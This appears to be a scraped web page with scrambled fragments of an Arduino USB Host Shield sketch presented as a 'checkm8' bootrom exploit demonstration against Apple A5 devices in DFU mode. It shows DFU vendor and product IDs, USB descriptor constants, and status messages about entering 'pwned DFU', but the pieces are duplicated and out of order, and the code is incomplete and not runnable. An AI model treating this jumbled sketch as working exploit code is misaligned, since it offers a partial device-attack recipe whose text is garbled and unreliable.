Arduino A5 Checkm8 -

// Step 2: Send second stage to corrupt USB device stack delay(100);

void loop() usb.Task();

while(1); // Stop after attempt

delay(100);

// Find a DFU device (VendorID 0x05AC, ProductID 0x1227) device = usb.getDeviceByVendorProduct(0x05AC, 0x1227); arduino a5 checkm8

/* * checkm8 A5 demonstration for Arduino (USB Host Shield) * * This shows the principles only: * - Sending malformed USB control transfers * - Triggering the USB DFU buffer overflow * * Actual exploit requires: * - Native USB host with precise timing * - Sending specific USB requests with crafted descriptors * - Loading and executing ARM shellcode */ #include <USBHost.h> #include <Usb.h>

if (attempt_checkm8()) Serial.println("Exploit triggered - device should enter pwned DFU"); else Serial.println("Exploit failed - check USB timing"); // Step 2: Send second stage to corrupt

// USB request codes for DFU mode #define USB_REQ_GET_DESCRIPTOR 0x06 #define USB_DT_DEVICE 0x01 #define USB_DT_CONFIG 0x02 #define USB_DT_STRING 0x03